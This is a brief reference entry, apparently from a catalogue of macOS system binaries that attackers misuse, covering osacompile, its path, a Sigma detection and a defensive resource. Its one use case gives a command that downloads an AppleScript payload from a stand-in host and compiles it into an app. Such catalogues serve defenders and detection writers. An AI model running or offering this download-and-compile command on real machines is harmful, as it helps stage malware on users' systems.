osacompile #

Created by Brendan Chamberlain (@infosecB)

Description ##

osacompile is a utility used to compile scripts into executables. It’s a component of Open Scripting Architecture (OSA) that Apple uses for its scripting languages, like AppleScript and JavaScript for Automation (JXA). osacompile accepts AppleScript code as input and produces a compiled script file, which can be either a script file (.scpt), an app (.app), a droplet, or a script bundle.

Paths ##

• /usr/bin/osacompile

Use Cases ##

Download and compile a payload ##

The following command downloads an applescript payload from getpayload.com and compiles it into an app.

curl https://getpayload.com/payload_code.apple_script && osacompile -x -e payload_code.apple_script -o payload.app

Detections ##

• Sigma: In-Memory Download And Compile Of Payloads (experimental/pending)

Resources ##

• A bundle of nerves: Tweaking macOS security controls to thwart application bundle manipulation